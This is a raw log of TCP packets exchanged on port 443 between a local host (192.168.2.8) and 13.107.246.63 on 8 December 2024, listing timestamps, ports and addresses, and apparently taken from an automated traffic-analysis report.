Dec 8, 2024 10:47:34.668489933 CET	49752	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.668523073 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.668586016 CET	49752	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.668793917 CET	49750	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.668812990 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.669265985 CET	49752	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.669282913 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.669708967 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.669728041 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.669770956 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.669778109 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.669812918 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.669833899 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.685229063 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.685242891 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.685292959 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.685300112 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.685334921 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.685350895 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.698044062 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.698062897 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.698117971 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.698127031 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.698182106 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.698182106 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.808578968 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.808613062 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.808665991 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.808686018 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.808712006 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.808742046 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.821464062 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.821481943 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.821541071 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.821552992 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.821604967 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.831722021 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.831742048 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.831787109 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.831803083 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.831830978 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.831862926 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.843065023 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.843084097 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.843162060 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.843162060 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.843173027 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.843223095 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.854223013 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.854243994 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.854305029 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.854322910 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.854343891 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.854361057 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.864629984 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.864648104 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.864715099 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.864726067 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.864797115 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.875902891 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.875920057 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.875982046 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.875993013 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.876038074 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.885736942 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.885768890 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.885819912 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.885826111 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:34.885854959 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:34.885880947 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.001096010 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.001127958 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.001178980 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.001202106 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.001229048 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.001259089 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.009938955 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.009957075 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.010099888 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.010108948 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.010313034 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.018518925 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.018539906 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.018651962 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.018651962 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.018661022 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.018703938 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.025738955 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.025753021 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.026046038 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.026055098 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.026580095 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.034152985 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.034167051 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.034352064 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.034358978 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.034552097 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.041908979 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.041925907 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.042083025 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.042089939 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.042234898 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.050263882 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.050278902 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.050482988 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.050488949 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.050719976 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.058592081 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.058609962 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.058964014 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.058969975 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.059061050 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.193182945 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.193216085 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.193286896 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.193314075 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.193346977 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.193422079 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.200822115 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.200860977 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.200970888 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.200978994 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.201400042 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.208561897 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.208590984 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.208682060 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.208682060 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.208697081 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.212872028 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.215353012 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.215379953 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.215528965 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.215533972 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.215786934 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.223082066 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.223119020 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.223189116 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.223193884 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.223256111 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.223257065 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.230290890 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.230318069 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.230416059 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.230416059 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.230422974 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.230753899 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.238053083 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.238076925 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.238136053 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.238141060 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.238172054 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.238260984 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.245676041 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.245703936 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.245829105 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.245835066 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.245985031 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.386379957 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.386410952 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.386480093 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.386495113 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.386539936 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.386763096 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.393049002 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.393079042 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.393197060 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.393203974 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.393232107 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.393325090 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.400820017 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.400854111 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.400966883 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.400973082 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.401004076 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.401397943 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.408474922 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.408503056 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.408557892 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.408566952 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.408613920 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.408655882 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.416232109 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.416260958 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.416358948 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.416359901 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.416367054 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.416580915 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.423435926 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.423464060 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.423516035 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.423522949 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.423559904 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.423598051 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.430208921 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.430237055 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.430350065 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.430350065 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.430356979 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.430505991 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.437911987 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.437941074 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.438046932 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.438054085 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.438098907 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.438194990 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.578021049 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.578051090 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.578138113 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.578161001 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.578170061 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.578418970 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.585769892 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.585798979 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.585977077 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.585977077 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.585984945 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.586236000 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.593461990 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.593497992 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.593599081 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.593599081 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.593626022 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.593941927 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.601186991 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.601218939 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.601340055 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.601341009 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.601367950 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.601479053 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.607979059 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.608010054 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.608119965 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.608150005 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.608172894 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.608391047 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.615123987 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.615144014 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.615293980 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.615309954 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.615442038 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.622953892 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.622983932 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.623095989 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.623095989 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.623123884 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.623177052 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.630542994 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.630575895 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.630667925 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.630667925 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.630681992 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.630889893 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.771305084 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.771343946 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.771461964 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.771462917 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.771490097 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.771742105 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.778351068 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.778369904 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.778449059 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.778464079 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.778498888 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.778637886 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.786101103 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.786117077 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.786228895 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.786228895 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.786237001 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.791716099 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.792782068 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.792790890 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.792877913 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.792885065 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.793021917 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.800559998 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.800584078 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.800770998 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.800770998 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.800777912 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.800865889 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.807780027 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.807806015 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.807944059 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.807950974 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.808160067 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.815440893 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.815457106 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.815543890 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.815550089 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.815745115 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.823189974 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.823206902 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.823328018 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.823354959 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.823476076 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.965770960 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.965804100 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.965883970 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.965913057 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.965956926 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.966058969 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.972704887 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.972731113 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.972872972 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.972898006 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.972995043 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.980003119 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.980031013 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.980127096 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.980181932 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.980329990 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.980468035 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.980468035 CET	49742	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:35.980489016 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:35.980494022 CET	443	49742	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.365497112 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.366426945 CET	49748	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.366450071 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.369237900 CET	49748	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.369254112 CET	443	49748	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.388516903 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.388643026 CET	443	49751	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.389162064 CET	49752	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.389195919 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.389858007 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.390494108 CET	49749	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.390516996 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.390710115 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.390984058 CET	49749	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.390989065 CET	443	49749	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.390991926 CET	49752	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.391006947 CET	443	49752	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.391402960 CET	49751	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.391407967 CET	443	49751	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.391803026 CET	49751	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.391807079 CET	443	49751	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.392466068 CET	49750	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:36.392477989 CET	443	49750	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:36.393331051 CET	49750	443	192.168.2.8	13.107.246.63
